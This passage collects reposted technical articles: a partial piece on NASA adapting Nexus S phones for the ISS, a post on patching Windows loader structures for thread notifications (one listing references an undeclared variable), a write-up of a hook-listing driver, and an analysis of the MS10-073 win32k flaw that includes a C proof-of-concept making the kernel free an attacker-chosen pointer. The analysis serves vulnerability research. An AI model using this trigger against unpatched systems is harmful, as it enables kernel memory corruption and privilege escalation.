fire, alkaline batteries will instead leak electrolyte fluid, which is easier to contain. The team on the Intelligent Robotics Group developed a battery pack for the Nexus S that would replace the lithium ion one with six AA batteries. The pack is then wrapped in a felt-like material that is specifically made to absorb any leakage that might occur, and a few Velcro patches are attached to it so that it can stay fixed to the SPHERES. Enlarge / A closer look at the AA battery pack strapped on to the Nexus S. NASA The cellular chip and battery pack weren't the only necessary hardware hacks. If the Nexus One’s glass touchscreen were to shatter in space, the lack of gravity would leave all those broken shards of glass up in the air. It's not bare feet in microgravity the Intelligent Robotics team is trying to protect: it's lungs. Micire explained that the scenario would be hazardous. “Those tiny little shards are just floating within the ISS and now you have astronauts that are just breathing them in." The team figured out that they could use a type of Teflon tape to cover up the chassis of the Nexus S to simultaneously protect the phone and contain any broken pieces from floating about. “You kind of have to take the world that we live in and rework all of the engineering requirements,” Micire reflected. “I never would have thought of broken glass as an inhalant.” Dealing with drivers—and sensors The Nexus S runs an app that records activity on the gyroscope, accelerometer, and 3D compass. Florence Ion As with all types of devices, drivers can be the most finicky part of getting a project up and running. There were a multitude of benefits for the team if it stuck with Android’s Nexus line of phones, the most obvious being that there weren't any setbacks that might come with dealing with customizations performed by OEM manufacturers. “With the Nexus line of phones, you get the full Android open source release source code base—you don’t get that with a lot of the other Android platforms out there,” said Micire. He explained that if it hadn't been for the “pure” Android experience, the team wouldn't have been able to get around some of the driver issues that plague other Android handsets. One of the issues was getting the phone to sync up with the computers in service on the ISS. The ISS currently uses ThinkPad T61p laptops loaded with Windows XP Service Park 3, and when the Nexus S was plugged into the notebooks, Windows asked for a driver disk—a bit of a problem when there is limited time to get official drivers approved. Micire and his team wrote an application that puts the phone into mass-storage mode without a USB cable needing to be plugged into it first. “We figured out the mass storage identified on these phones don’t require a drive—it just works,” said Micire. “Any other phone where we wouldn't have been able to do our own firmware build [would have left us] stuck with the default configuration.” Before the Nexus S was ready to work, the performance of components like the gyroscope, accelerometer, and 3D compass also needed testing to confirm that they worked in microgravity. The team used a data logger application (which is actually available in the Google Play store) to record the data on the sensors and gather measurements. “[by recording] we were able to show that the sensors did behave as we expected; the accelerometer, it turns out, is not a sensor we can use very well on the SPHERES. But the rest of the sensors actually work really well.” What's next? Since the project began in late 2010, it's moved rather quickly despite some of the aforementioned software and hardware hassles. “We went from concept on the back of a napkin to full flight, to delivering our flight units in about six months,” said Micire. “Normally for any major piece of hardware that's going up on station, you're usually talking about a year to two-year process." The team was able to quickly get the project engineered and "fabbed up," as Micire put it, because they leveraged a lot of the stuff that was already built into the phones. The Nexus S handsets made upgrading the “brain” of the SPHERES a less tedious process, not to mention a more affordable one. But despite NASA Ames’ close proximity to Google's headquarters—Moffett Field is only three miles away—the team at the Intelligent Robotics Group has to purchase their own handsets, though sometimes they do receive help when tinkering with Android from their friends at Google. “One of the catalysts for us being able to successfully downselect and use Android as successfully as we have is because Google is just over the fence from us here,” said Micire. “We created very early on this wonderful partnership with folks both inside and outside.” The Intelligent Robotics Group is currently looking at building the next generation of the Smart SPHERES with a couple of Nexus 4 handsets they have managed to secure. Micire mentioned that the Human Exploration Telerobotics project has also fostered a few relationships with different handset manufacturers for future development, though he was not at liberty to say who. In the end, the project was possible due to Android’s usefulness beyond mobile phones. "We made the right decision by going with Android because the ability to remove the lithium battery and have it run off of alkaline batteries I think would have been a lot more difficult with the Apple products... and having it work without a driver under Windows XP," said Micire. Earlier he had mentioned how impressed he was by how Android was being embraced by the embedded developer community: "you just get so much that comes for free with the platform.” Micire later added: “It’s humbling to say that even NASA can’t outrun the advancements that are happening with the mobile phone.” Sursa: How NASA got an Android handset ready to go into space | Ars Technica

[h=3]Process Thread Creation Notification – The Easy Way[/h]May 26, 2012 adeyblue @ 3:22 am If what you’re writing already requires a dll, or you can leverage an existing one then you’re already set and can use the fact that DllMain gets called when threads are created and destructed to your advantage. If you’re not, or can’t then you’re pretty much stuck for an answer. Conventional wisdom on the web seems to revolve around hooking CreateThread. However, with several methods of creating threads called at various levels of the Win32 system, that isn’t always sufficient, especially if you want to execute code in the thread context. Dll thread_attach notifications work because when threads are created and torn down, ntdll loops around the internal structures corresponding to each module loaded in the process and calls their entry point if they meet certain criteria. The structure for the exe is included in the enumeration but as it doesn’t identify as a dll, its entry point isn’t called. The thing to do then, is modify it to a) look like a dll and make it think our entry point is a DllMain. Usually this poking around officially undocumented stuff is at least a slight pain (after all you’re not meant to be touching it), in this case however the structure is a single call away. // in ntdll.dll EXTERN_C NTSYSAPI NTSTATUS NTAPI LdrFindEntryForAddress( HMODULE hMod, LDR_DATA_TABLE_ENTRY** ppEntry ); You give it an address in a module, and it gives you a pointer to the structure. Seems like a fair trade to me. Here’s what’s in it. struct LDR_DATA_TABLE_ENTRY { LIST_ENTRY InLoadOrderModuleList; LIST_ENTRY InMemoryOrderModuleList; LIST_ENTRY InInitializationOrderModuleList; PVOID BaseAddress; PVOID EntryPoint; ULONG SizeOfImage; UNICODE_STRING FullDllName; UNICODE_STRING BaseDllName; ULONG Flags; SHORT LoadCount; SHORT TlsIndex; union { LIST_ENTRY HashLinks; PVOID SectionPointer; }; ULONG Checksum; union { ULONG TimeDataStamp; PVOID LoadedImports; }; PVOID EntryPointActivationContext; PVOID PatchInformation; }; This is the XP version layout. More recent versions have appended extra fields, but we ignore them. The three fields of interest are BaseAddress, EntryPoint, and Flags. Entrypoint and Flags are self-explanatory, BaseAddress though? Yep, as well as checking the flags, the looping code also excludes those whose BaseAddress is the same as GetModuleHandle(NULL). This might sound like it could be a bit disabling to the program, especially if you know that GetModuleHandle can also loop over these structures. It isn’t in practice thought, only affecting calls to GetModuleHandle(), the value returned from GetModuleHandle(NULL) is cached elsewhere so modifying the entry leaves it unaffected. Setting the new entrypoint to a DllMain-a-like is easy enough, and the BaseAddress value can be changed to BaseAddress += 2 (this enables it to still be used in kernel32 functions if anybody ever does GetModuleHandle()), yet we’ve neglected the flag values. // // Loader Data Table Entry Flags, from ReactOS // #define LDRP_STATIC_LINK 0x00000002 #define LDRP_IMAGE_DLL 0x00000004 #define LDRP_LOAD_IN_PROGRESS 0x00001000 #define LDRP_UNLOAD_IN_PROGRESS 0x00002000 #define LDRP_ENTRY_PROCESSED 0x00004000 #define LDRP_ENTRY_INSERTED 0x00008000 #define LDRP_CURRENT_LOAD 0x00010000 #define LDRP_FAILED_BUILTIN_LOAD 0x00020000 #define LDRP_DONT_CALL_FOR_THREADS 0x00040000 #define LDRP_PROCESS_ATTACH_CALLED 0x00080000 #define LDRP_DEBUG_SYMBOLS_LOADED 0x00100000 #define LDRP_IMAGE_NOT_AT_BASE 0x00200000 #define LDRP_COR_IMAGE 0x00400000 #define LDRP_COR_OWNS_UNMAP 0x00800000 #define LDRP_SYSTEM_MAPPED 0x01000000 #define LDRP_IMAGE_VERIFYING 0x02000000 #define LDRP_DRIVER_DEPENDENT_DLL 0x04000000 #define LDRP_ENTRY_NATIVE 0x08000000 #define LDRP_REDIRECTED 0x10000000 #define LDRP_NON_PAGED_DEBUG_INFO 0x20000000 #define LDRP_MM_LOADED 0x40000000 #define LDRP_COMPAT_DATABASE_PROCESSED 0x80000000 There are a lot of them, yet we only need concern ourselves with three. LDRP_IMAGE_DLL and LDRP_PROCESS_ATTACH_CALLED need to be set to signal that we are a dll and that we’ve had our init code called. LDRP_DONT_CALL_FOR_THREADS needs to be clear, because being called for threads is exactly what we’re after! So, putting it all into motion: #define WIN32_LEAN_AND_MEAN #include <windows.h> #include <winternl.h> // for Unicode_string #include <cstdio> #define LDRP_IMAGE_DLL 0x00000004 #define LDRP_DONT_CALL_FOR_THREADS 0x00040000 #define LDRP_PROCESS_ATTACH_CALLED 0x00080000 struct LDR_DATA_TABLE_ENTRY { LIST_ENTRY InLoadOrderModuleList; LIST_ENTRY InMemoryOrderModuleList; LIST_ENTRY InInitializationOrderModuleList; PVOID BaseAddress; PVOID EntryPoint; ULONG SizeOfImage; UNICODE_STRING FullDllName; UNICODE_STRING BaseDllName; ULONG Flags; SHORT LoadCount; SHORT TlsIndex; union { LIST_ENTRY HashLinks; PVOID SectionPointer; }; ULONG Checksum; union { ULONG TimeDataStamp; PVOID LoadedImports; }; PVOID EntryPointActivationContext; PVOID PatchInformation; }; BOOL APIENTRY ThreadAndShutdownNotify(HMODULE hMod, DWORD reason, PVOID pDynamic) { char buffer[100]; switch(reason) { case DLL_THREAD_ATTACH: { sprintf(buffer, "Thread attach : %lu\n", GetCurrentThreadId()); } break; case DLL_THREAD_DETACH: { sprintf(buffer, "Thread detach : %lu\n", GetCurrentThreadId()); } break; case DLL_PROCESS_DETACH: { sprintf(buffer, "Process detach : %lu\n", GetCurrentThreadId()); } break; } OutputDebugStringA(buffer); puts(buffer); return TRUE; } DWORD WINAPI WaitThread(PVOID p) { return WaitForSingleObject((HANDLE)p, INFINITE); } typedef NTSTATUS (NTAPI*pfnLdrFindEntryForAddress)(HMODULE hMod, LDR_DATA_TABLE_ENTRY** ppLdrData); int main() { HMODULE hNtdll = GetModuleHandle(L"ntdll.dll"); pfnLdrFindEntryForAddress LdrFindEntryForAddress = (pfnLdrFindEntryForAddress)GetProcAddress(hNtdll, "LdrFindEntryForAddress"); LDR_DATA_TABLE_ENTRY* pEntry = NULL; if(NT_SUCCESS(LdrFindEntryForAddress(GetModuleHandle(NULL), &pEntry))) { pEntry->EntryPoint = (PVOID)&ThreadAndShutdownNotify; pEntry->Flags |= LDRP_PROCESS_ATTACH_CALLED | LDRP_IMAGE_DLL; pEntry->Flags &= ~(LDRP_DONT_CALL_FOR_THREADS); pEntry->BaseAddress = (PVOID)(((ULONG_PTR)pEntry->BaseAddress) + 2); } else { return puts("Something's strange, in the neighbourhood, and my phone doesn't work!!"); } HANDLE hEvent4 = CreateEvent(NULL, TRUE, FALSE, NULL); HANDLE hThread[10]; for(DWORD i = 0; i < ARRAYSIZE(hThread); ++i) { hThread[i] = CreateThread(NULL, 0, &WaitThread, hEvent4, 0, NULL); } SetEvent(hEvent4); WaitForMultipleObjects(ARRAYSIZE(hThread), hThread, TRUE, INFINITE); for(DWORD i = 0; i < ARRAYSIZE(hThread); ++i) { CloseHandle(hThread[i]); } CloseHandle(hEvent4); return 0; } And running it produces: Thread attach : 4208 Thread attach : 3052 Thread attach : 2076 Thread attach : 3144 Thread attach : 1476 Thread attach : 516 Thread attach : 4224 Thread attach : 4320 Thread attach : 3620 Thread attach : 1280 Yay… wait a minute. Where are the detach and shutdown notifications? So much for mimicking DllMain. See those LIST_ENTRY structures at the head of the LDR_DATA_TABLE_ENTRY structure, those are the three different orders in which the module entries are linked. LoadOrder is obvious, whereas non-obviously MemoryOrder is the same as LoadOrder, and InitializationOrder is the order that the DllMain’s were called…, ah. Our LDR_DATA_TABLE_ENTRY is the first entry of the first two lists however since it isn’t a kosher dll, it’s not present in the third. ThreadAttach notifications work since ntdll walks the LoadOrder module list when calling entry points for thread attaches. The other notifications don’t work, since ntdll walks the InitOrder list for those. The solution therefore is to add ourself to that one, and that’s quite a simple op too. Where we should insert outselves is up to you, before kernel32 seems as good a place as any though. In summation: #define WIN32_LEAN_AND_MEAN #include <windows.h> #include <winternl.h> // for Unicode_string #include <cstdio> #define LDRP_IMAGE_DLL 0x00000004 #define LDRP_DONT_CALL_FOR_THREADS 0x00040000 #define LDRP_PROCESS_ATTACH_CALLED 0x00080000 struct LDR_DATA_TABLE_ENTRY { LIST_ENTRY InLoadOrderModuleList; LIST_ENTRY InMemoryOrderModuleList; LIST_ENTRY InInitializationOrderModuleList; PVOID BaseAddress; PVOID EntryPoint; ULONG SizeOfImage; UNICODE_STRING FullDllName; UNICODE_STRING BaseDllName; ULONG Flags; SHORT LoadCount; SHORT TlsIndex; union { LIST_ENTRY HashLinks; PVOID SectionPointer; }; ULONG Checksum; union { ULONG TimeDataStamp; PVOID LoadedImports; }; PVOID EntryPointActivationContext; PVOID PatchInformation; }; BOOL APIENTRY ThreadAndShutdownNotify(HMODULE hMod, DWORD reason, PVOID pDynamic) { char buffer[100]; switch(reason) { case DLL_THREAD_ATTACH: { sprintf(buffer, "Thread attach : %lu\n", GetCurrentThreadId()); } break; case DLL_THREAD_DETACH: { sprintf(buffer, "Thread detach : %lu\n", GetCurrentThreadId()); } break; case DLL_PROCESS_DETACH: { sprintf(buffer, "Process detach : %lu\n", GetCurrentThreadId()); } break; } OutputDebugStringA(buffer); puts(buffer); return TRUE; } DWORD WINAPI WaitThread(PVOID p) { return WaitForSingleObject((HANDLE)p, INFINITE); } void InsertIntoList(LIST_ENTRY* pOurListEntry, LIST_ENTRY* pK32ListEntry) { // dll detach are called in reverse list order // so after Kernel32 is before it in the list // our forward link wants to point to whatever is after // k32ListEntry and our back link wants to point to pK32ListEn LIST_ENTRY* pEntryToInsertAfter = pK32ListEntry->Flink; pOurListEntry->Flink = pEntryToInsertAfter; pOurListEntry->Blink = pEntryToInsertAfter->Blink; pEntryToInsertAfter->Blink = pOurListEntry; pOurListEntry->Blink->Flink = pOurListEntry; } typedef NTSTATUS (NTAPI*pfnLdrFindEntryForAddress)(HMODULE hMod, LDR_DATA_TABLE_ENTRY** ppLdrData); int main() { HMODULE hNtdll = GetModuleHandle(L"ntdll.dll"); pfnLdrFindEntryForAddress LdrFindEntryForAddress = (pfnLdrFindEntryForAddress)GetProcAddress(hNtdll, "LdrFindEntryForAddress"); LDR_DATA_TABLE_ENTRY* pEntry = NULL; if(NT_SUCCESS(LdrFindEntryForAddress(GetModuleHandle(NULL), &pEntry))) { pEntry->EntryPoint = (PVOID)&ThreadAndShutdownNotify; pEntry->Flags |= LDRP_PROCESS_ATTACH_CALLED | LDRP_IMAGE_DLL; pEntry->Flags &= ~(LDRP_DONT_CALL_FOR_THREADS); pEntry->BaseAddress = (PVOID)(((ULONG_PTR)pEntry->BaseAddress) + 2); LDR_DATA_TABLE_ENTRY* pK32Entry = NULL; LdrFindEntryForAddress(GetModuleHandle(L"kernel32.dll"), &pK32Entry); InsertIntoList(&pOurEntry->InInitializationOrderModuleList, &pK32Entry->InInitializationOrderModuleList); } else { return puts("Something's strange, in the neighbourhood, and my phone doesn't work!!"); } HANDLE hEvent4 = CreateEvent(NULL, TRUE, FALSE, NULL); HANDLE hThread[10]; for(DWORD i = 0; i < ARRAYSIZE(hThread); ++i) { hThread[i] = CreateThread(NULL, 0, &WaitThread, hEvent4, 0, NULL); } SetEvent(hEvent4); WaitForMultipleObjects(ARRAYSIZE(hThread), hThread, TRUE, INFINITE); for(DWORD i = 0; i < ARRAYSIZE(hThread); ++i) { CloseHandle(hThread[i]); } CloseHandle(hEvent4); return 0; } Output: Thread attach : 4856 Thread attach : 3896 Thread attach : 4140 Thread attach : 3488 Thread attach : 188 Thread detach : 188 Thread attach : 3272 Thread attach : 3376 Thread attach : 1632 Thread detach : 4856 Thread attach : 4120 Thread detach : 3896 Thread detach : 4140 Thread detach : 3488 Thread attach : 3484 Thread detach : 3272 Thread detach : 3376 Thread detach : 1632 Thread detach : 4120 Thread detach : 3484 Process detach : 4720 Yay, for realsies this time. So that’s how you do it, with help from some jiggery poker. No hooks, no external code, just pure, clean, faffing around. Sursa: Process Thread Creation Notification – The Easy Way

Hookers – Underneath the Sheets July 18, 2011 adeyblue @ 7:12 am Introduction Finding Hooks Finding Desktops Finding Threads Hook Information Dll Name Process Name Copying to User Mode Wrapup/TL:DR Download MsgHookLister Introduction We all need ideas. Whether you’ve just finished something, or are getting a little bit bored with your current project you can’t help but let your mind drift to the next cool thing you’ll create. Sometimes the ideas come thick and fast, other times they’re like gold dust. When I’m in the second camp, and reading the various boards I read, I will quite happily steal other peoples. One such board is Sysinternals’. They do winternals, I do winternals, they have a suggestion section and I want ideas. It’s a perfect fit. On a previous visit, one of the suggestions was a program that could list active hooks. Given my previous excursions into user/win32k territory, it didn’t seem like it’d be too hard. And apart from the digging around assembly listings for the structure offsets, it wasn’t, and that was more time-intensive than difficult. At any rate, I am now the owner of 14 versions of win32k.sys’ symbols. I don’t even have 14 games on my computer! Rather than just dumping a download link (here) and what it does (list active hooks), I thought I’d deconstruct the hows and why’s of the kernel side of the query. Needless to say, much of what follows is discussion of undocumented things. I am aware this makes Raymond Chen cry. Sorry fella. Finding hooks Compared to other operations, enumerating the installed hooks is quite easy. Thread specific hooks are recorded in a win32k per-thread data structure tagged, rather imaginatively, as THREADINFO[1]. This is essentially an ETHREAD/TEB like structure but one tailored specifically for user and gdi information. One of its members (aphkStart) is a 16 element array of pointers, individually they either point to NULL, or the head of a linked list of HOOK structures. Enumerating the hooks is simply a measure of walking down those chains. For convenience, and probably so that iteration isn’t required to see if any hooks are set, the THREADINFO contains another member, fsHooks, which is a bitfield. If a bit is on, the corresponding index in the hook array is valid. Instead of 33 comparisons (16 for NULL and 17 for a for-loop), telling if there are hooks requires just one, nifty! Global hooks, which are per desktop[2], are also stored in a per-object structure, also imaginatively named (DESKTOPINFO), and are also stored in an array with an accompanying bitfield. Bridging the two is pDeskInfo, a member of THREADINFO which points to its owning DESKTOPINFO. Despite the bellyaching in the intro, working with all these undocumented structures isn’t actually too hard in practice. The Windows 7 symbols for win32k.sys include their layouts, which is nice. The symbols for the Vista/Server 2008 era don’t though, this is where the assembly studying comes and saves the day. Knowing what these structures look like is one thing, getting at them is another… Finding Desktops You may know that at the top of Windows UI architecture is the humble windowstation[3]. Not much is known about these creatures (read as: nobody needs to care) except that they are a glorified container of desktops. It is these delilahs of display that contain the actual user objects such as windows, hooks, menus etc. As mentioned, threads are bound to one desktop and which one can be determined by following a pointer. Desktop objects are stored in a singly linked list, so by following another pointer in the desktop structure rpDeskNext, you can enumerate desktops under a windowstation. Like threads, each desktop has a pointer to its owning windowstation which is also part of a singularly linked list. Everything’s fine and dandy, except that there are no guarantees the results of thread->desktop or desktop->windowstation find the heads of their respective lists. After all, there can only be one head before everybody has to fall into line. One method, and the one I used in the Desktop Heap Monitor update is to query the \Windows\Windowstations and \Sessions\\Windows\Windowstations object directories via NtOpenDirectoryObject and NtQueryDirectoryObject. The reward for this is a directory handle and an object name which can be redeemed against ObOpenObjectByName for an object handle, which can be finally be exchanged for a pointer with ObReferenceObjectByHandle. It’s relatively lots of work, but mostly documented. The alternative method which I only stumbled upon recently is much easier and much more hacky. One of win32k.sys’s globals is named grpWinStaList, which just happens to be the head of the windowstation list. As windowstation objects (named as tagWINDOWSTATION) contain a pointer to the head of the desktop list, iterating through them all is a piece of cake. Finding Threads Finding threads takes the finesse approach of the desktops and throws it down the kitchen sink. Mixed metaphors aside, there’s nothing more to it than using ZwQuerySystemInformation(SystemProcessInformation) to enumerate running processes. What MSDN conceals about the SYSTEM_PROCESS_INFORMATION structure is that at the end of it is an array of SYSTEM_THREAD_INFORMATION structures, one for each thread in that process. The thread id contained in the struct is turned into an ETHREAD object by the above board PsLookupThreadByThreadId. Failure means the thread has probably exited, which is no biggie. Interrogation of the thread continues with PsGetThreadWin32Thread, a good cop who’ll smuggle out any THREADINFO pointer in the threads possession. Failure here isn’t a double cross, not all threads interact with the presentation side of Windows and those that don’t don’t have a value to return. NTSTATUS stat = STATUS_SUCCESS; const SYSTEM_THREAD_INFORMATION* pThreadInfo = process.Threads, *pEnd = pThreadInfo + process.ThreadCount; while(pThreadInfo != pEnd) { PETHREAD pThread = NULL; if(NT_SUCCESS(PsLookupThreadByThreadId(pThreadInfo->ClientId.UniqueThread, &pThread))) { __try { PVOID pWin32Thread = PsGetThreadWin32Thread(pThread); if(pWin32Thread) { stat = getWin32ThreadHooks(pWin32Thread, listHead, pLookaside); } } // ensure reference is released no matter what happens __finally { ObDereferenceObject(pThread); } } ++pThreadInfo; } With the THREADINFO and offsets in hand, the hook information is a dereference away… Hook Information Having gotten our grubby mitts on them, we find HOOK structures record most of the relevant information themselves: struct tagHOOK { THRDESKHEAD head; // info about the creator struct tagHOOK* phkNext; // next entry in linked list int iHook; // WH_ hook type UINT_PTR offPfn; // RVA to hook function in ihmod library UINT flags; // HF_ flags (GLOBAL, ANSI) int ihmod; THREADINFO* ptiHooked; // the hooked thread PVOID rpDesk; // saved desktop pointer ULONG nTimeout :7; ULONG fLastHookHung :1; }; Directly stored is the originating thread (in the head member), the hooked thread, and (via an offset) the hook function. Noticeable by its absence, for those hooks which specify one, is the lack of any instant dll identification. Dll Name By its’ name, ihmod hints at something to do with HMODULEs, and indeed it is. However, it’s nothing as simple as an index into an array of names or HMODULEs, nor can it be used by any function exported by the kernel or win32k. Undocumented is as undocumented does, ihmod is actually an index into another global of win32k.sys named aatomSysLoaded, an array of ATOMs. As mentioned, there are no functions exported that manipulate or query this array, no, more “dirty” methods are required. The dirtyness doesn’t stop once you’ve indexed the array (either by dereferencing a hardcoded offset or querying from the symbols). So what purpose does this ATOM have? Much like you can use GlobalAddAtom or AddAtom in user mode to essentailly map a string to an ATOM, win32k does too in kernel mode with the filename of the HMODULE passed to SetWindowsHookEx. Remember I said there’s more hacking after the array indexing? It’s not strictly necessary. The user-mode function GetClipboardFormatName can turn that atom into a dll name[4]. MsgHookLister goes the whole hacky way though and uses the win32k function UserGetAtomName, just because well, what’s one extra bit of hackery in a thing built completely on top of it? // abridged WCHAR* GetDllName(PVOID pHeap, int atomIndex) { // negative indexes are seen for LowLevel hooks // where there isn't an injected dll if(atomIndex < 0) return NULL; // turn the index to an ATOM ATOM actualAtom = aatomSysLoaded[atomIndex]; WCHAR* pNameBuf = RtlAllocateHeap(pHeap, HEAP_ZERO_MEMORY, MAX_PATH * sizeof(WCHAR)); if(pNameBuf) { ULONG charsNeeded = UserGetAtomName(actualAtom, pNameBuf, MAX_PATH); if(charsNeeded != 0) { // this is just a normal atom that's been stringified ignore it if(pNameBuf[0] == L'#') { RtlFreeHeap(pHeap, 0, pNameBuf); pNameBuf = NULL; } } } return pNameBuf; } That’s almost everything, but thread ids can be made much more pallatable to the client app… Process Name The only other thing in the output not covered by the struct is the process name. Again, this can be gotten from user mode, and by looking in the PEB. However, in a rare bout of playing by the rules, MsgHookLister uses PsThreadToProcess to get an EPROCESS from an ETHREAD and PsGetProcessImageFileName to get the name string that is stored within it. void CopyThreadProcessName(PETHREAD pThread, char* pNameBuffer, ULONG bufLen) { PAGED_CODE(); // this doesn't need releasing PEPROCESS pProc = PsThreadToProcess(pThread); strncpy(pNameBuffer, (char*)PsGetProcessImageFileName(pProc), bufLen); pNameBuffer[bufLen - 1] = 0; } // // call site // HOOK* pHookIter = ... // the EThread offset is the same either way, // so it's OK to leave this as THREADINFO7 even on Vista THREADINFO7* pSettingThread = static_cast<THREADINFO7*>(pHookIter->head.pti); if(pSettingThread) { hook.dwSettingThread = HandleToULong(PsGetThreadId(pSettingThread->pEThread)); CopyThreadProcessName(pSettingThread->pEThread, hook.settingProcess, ARRAYSIZE(hook.settingProcess)); } Copying to User Mode After collating all the relevant hook data, it needs to be marshalled somewhere user mode can access it. Normal Windows API calls dealing with this have the caller pass a buffer and a size, with the minimum length returned if the buffer is insufficient. There’s nothing wrong with this method, but if the information takes a long time to gather or is volatile this isn’t the most efficient approach. With that in mind, the approach taken by MsgHookLister is to always return this: typedef struct WindowsHookInfo_ { ClientHookArray* pHookInfoArray; } WindowsHookInfo; Instead of having the caller call back with an enlarged buffer, the driver makes a new heap in the calling process, allocates all the memory it needs from it, and then passes the heap handle back to the user mode app. When it’s finished, the app cleans up by freeing the memory and destroying the heap. A credible alternative to the heap is to allocate a glob of virtual memory and manage it yourself. It’s so credible I should’ve actually written it that way. To make the heap method work, it has to be created with the HEAP_NO_SERIALIZE flag because heaps created through the kernel use ERESOURCEs for locking, while user mode uses CRITICAL_SECTIONs, and they aren’t compatible. Oh well, some would say one last hack is a fitting ending to the call’s journey. With that, the ride is over. The request has been serviced and the driver is ready to remorselessly go through the whole process again and again at the clients behest. Wrapup It did list queued window messages, now it lists active thread and global hooks too, it’s MsgHookLister. If this were Sysinternals it’d have a nice shiny gui but I’m not so it’s command line only. There are output samples and a video of it in action here. You can download the package here, it comes with x86 and x64 binaries and source code that puts the entirety of the above text into a ‘I could’ve figured that out’ category. Notes:[1]: The Win32Thread value reported by WinDbg when you use !process or !thread is the address of the THREADINFO. With a Win7 target, ‘dt win32k!tagTHREADINFO [address]‘ will display the structure’s contents. [2][3]: More information on windowstations and desktops can be found starting here [4]: GetClipboardFormatName can also be used to get the name for a value returned from RegisterWindowMessage. Clipboard format names, window messages, window classes and these hook dll name atoms all share the same atom table. You cannot use (Global)GetAtomName, these have usermode only atom tables. Sursa: Hookers – Underneath the Sheets

[h=2]MS10-073: Windows Class Handling Gone Wrong[/h] Posted by Tarjei Mandt on December 1, 2010 In MS10-073, Microsoft addressed a privilege escalation vulnerability (CVE-2010-2744) in windows class data handling, affecting all supported versions of Windows. In this blog post, we will examine the details of the vulnerability as well as the changes made by the patch. Note that this vulnerability differs from the EoP used by Stuxnet on XP/2000, also addressed in MS10-073. [h=3]Windows User Objects[/h] Windows manages all user interface entities such as windows, menus, and cursors as objects. In fact, win32k has its own dedicated handle table for keeping track of all active user objects in a given session. One of the most important objects is undeniably the window object. On Windows 7, win32k.sys conveniently exports symbol information for the window object structure (win32k!tagWND), shown below. typedef struct tagWND { /*0x000*/ struct _THRDESKHEAD head; /*0x014*/ ULONG32 state; /*0x018*/ ULONG32 state2; /*0x01C*/ ULONG32 ExStyle; /*0x020*/ ULONG32 style; /*0x024*/ VOID* hModule; /*0x028*/ UINT16 hMod16; /*0x02A*/ UINT16 fnid; /*0x02C*/ struct _tagWND* spwndNext; /*0x030*/ struct _tagWND* spwndPrev; /*0x034*/ struct _tagWND* spwndParent; /*0x038*/ struct _tagWND* spwndChild; /*0x03C*/ struct _tagWND* spwndOwner; /*0x040*/ struct _tagRECT rcWindow; /*0x050*/ struct _tagRECT rcClient; /*0x060*/ PVOID lpfnWndProc; /*0x064*/ struct _tagCLS* pcls; /*0x068*/ struct _HRGN__* hrgnUpdate; /*0x06C*/ struct _tagPROPLIST* ppropList; /*0x070*/ struct _tagSBINFO* pSBInfo; /*0x074*/ struct _tagMENU* spmenuSys; /*0x078*/ struct _tagMENU* spmenu; /*0x07C*/ struct _HRGN__* hrgnClip; /*0x080*/ struct _HRGN__* hrgnNewFrame; /*0x084*/ struct _LARGE_UNICODE_STRING strName; /*0x090*/ INT32 cbwndExtra; /*0x094*/ struct _tagWND* spwndLastActive; /*0x098*/ struct _HIMC__* hImc; /*0x09C*/ ULONG32 dwUserData; /*0x0A0*/ struct _ACTIVATION_CONTEXT* pActCtx; /*0x0A4*/ struct _D3DMATRIX* pTransform; /*0x0A8*/ struct _tagWND* spwndClipboardListenerNext; /*0x0AC*/ ULONG32 ExStyle2; } WND, *PWND; In our case, there are a few fields we want to pay closer attention to. The FNID, stored at offset 0x2A, is a constant defining the function identifier of the associated class. The FNID can be used to call any system class window procedure via NtUserMessageCall, and is also frequently used by Windows to determine if a system class window has been properly initialized (set to non-null). Also of interest is the class object pointer (pcls), stored at offset 0×64. The class defines common window attributes as well as the number of extra bytes reserved for each window (mirrored in cbwndExtraat offset 0×90). This data immediately follows a window object in memory and can be application defined or used by a system class window for class-specific data. In order to update the extra data associated with each window, an application may call SetWindowLongPtr with nIndex set to a zero-based offset. As system class windows also store kernel pointers in the extra window memory, validation has to be performed before an operation is permitted. In particular, xxxSetWindowLong (called by NtUserSetWindowLong, for instance) checks the window FNID in order to prevent malicious attempts at updating data used by the kernel. The problem with this approach is that the FNID starts out as null, hence may allow an attacker to to pre-initialize extra data (e.g. via SetWindowsHookEx) before a system class window has been properly initialized. Although this normally shouldn’t be a problem, two system class procedures were found to incorrectly handle already initialized extra window data, leading to exploitable conditions. [h=3]Window Class Handling Vulnerabilities[/h] The menu window system class procedure (xxxMenuWindowProc) is responsible for handling messages sent to menu windows. Upon receiving a WM_NCCREATE message, the menu window attempts to allocate and initialize a popup menu structure (win32k!tagPOPUPMENU), for which it stores a pointer in the extra window memory. However, if this pointer has already been initialized before the WM_NCCREATE message has been sent, the menu window procedure would use the existing pointer instead. As this pointer could have been set manually via SetWindowLongPtr (before the FNID is assigned), an attacker could fully control the popup menu structure, used in subsequent read and write operations. Moreover, destroying the window would result in the attacker controlled pointer being freed. The latter is demonstrated in the following test case. #include <windows.h> int main(int argc, char **argv) { WNDCLASSA Class = {0}; CREATESTRUCTA Cs = {0}; FARPROC MenuWindowProcA; HMODULE hModule; HWND hWindow; Class.lpfnWndProc = DefWindowProc; Class.lpszClassName = "Class"; Class.cbWndExtra = sizeof(PVOID); RegisterClassA(&Class); hModule = LoadLibraryA("USER32.DLL"); MenuWindowProcA = GetProcAddress(hModule,"MenuWindowProcA"); hWindow = CreateWindowA("Class","Window",0,0,0,32,32,NULL,NULL,NULL,NULL); // set the pointer value of the (soon to be) popup menu structure SetWindowLongPtr(hWindow,0,(LONG_PTR)0x80808080); // set WND->fnid = FNID_MENU MenuWindowProcA(hWindow,0,WM_NCCREATE,(WPARAM)0,(LPARAM)&Cs); // trigger -> ExPoolFree(0x80808080) DestroyWindow(hWindow); return 0; } The task switch window procedure (xxxSwitchWndProc) was found vulnerable to a similar error. In processing the WM_CREATE message, the procedure failed to validate the switch window information pointer that possibly could have been pre-initialized. Consequently, any further operations involving the use of this pointer could lead to an arbitrary read or write. This flaw only appeared to have exploitable impact on XP/2003, as Vista and later verifies the pointers (in win32k!RemoveSwitchWindowInfo) by traversing a linked list of all active SwitchWindowInfo structures (win32k!gpswiFirst). [h=3]The Patch[/h] In order to address the vulnerabilities, changes were made to the SetWindowLong APIs as well as the system class procedures. Notably, several functions now perform additional validation on the associated window class (and not just the FNID) before attempting to update extra window data. Additionally, both xxxMenuWindowProc and xxxSwitchWndProc now ensure that the extra data is null before handling the window object (and updating the FNID). This is needed as the system class pointer in a window object is never actually updated upon “converting” to a system class in the test case above. Thus, the changes made to xxxSetWindowLong would not alone be 